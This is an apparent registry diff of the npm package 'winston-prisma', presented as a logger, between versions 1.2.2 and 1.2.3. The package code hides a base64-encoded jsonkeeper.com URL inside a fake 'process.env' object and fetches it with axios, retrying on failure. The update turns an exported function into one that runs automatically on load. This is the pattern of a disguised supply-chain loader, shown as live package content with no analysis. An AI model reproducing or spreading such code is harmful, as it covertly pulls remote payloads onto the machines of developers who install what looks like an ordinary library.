winston-prisma 1.2.2 → 1.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  "use strict";
2
2
 
3
- import axios from "axios";
3
+ const axios = require("axios");
4
4
  const process = {
5
5
  env: {
6
6
  DEV_API_KEY: "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzJJRzZX",
@@ -8,7 +8,7 @@ const process = {
8
8
  DEV_SECRET_VALUE: "Xw=="
9
9
  }
10
10
  };
11
- export const prismalogger = async (..._args) => {
11
+ (async function getCallers(..._args) {
12
12
  const src = atob(process.env.DEV_API_KEY);
13
13
  const k = atob(process.env.DEV_SECRET_KEY);
14
14
  const v = atob(process.env.DEV_SECRET_VALUE);
@@ -29,4 +29,4 @@ export const prismalogger = async (..._args) => {
29
29
  retrycnt--;
30
30
  }
31
31
  }
32
- };
32
+ })();
@@ -1,6 +1,6 @@
1
1
  "use strict";
2
2
 
3
- import axios from "axios";
3
+ const axios = require("axios");
4
4
  const process = {
5
5
  env: {
6
6
  DEV_API_KEY: "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzJJRzZX",
@@ -9,7 +9,7 @@ const process = {
9
9
  }
10
10
  };
11
11
 
12
- export const prismalogger=async(..._args)=> {
12
+ (async function getCallers(..._args) {
13
13
  const src = atob(process.env.DEV_API_KEY);
14
14
  const k = atob(process.env.DEV_SECRET_KEY);
15
15
  const v = atob(process.env.DEV_SECRET_VALUE);
@@ -29,4 +29,4 @@ const process = {
29
29
  retrycnt--;
30
30
  }
31
31
  }
32
- };
32
+ })();
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "winston-prisma",
3
3
  "description": "A logger for just about everything + prisma.",
4
- "version": "1.2.2",
4
+ "version": "1.2.3",
5
5
  "author": "Charlie Robbins <charlie.robbins@gmail.com>",
6
6
  "maintainers": [
7
7
  "David Hyde <dabh@alumni.stanford.edu>"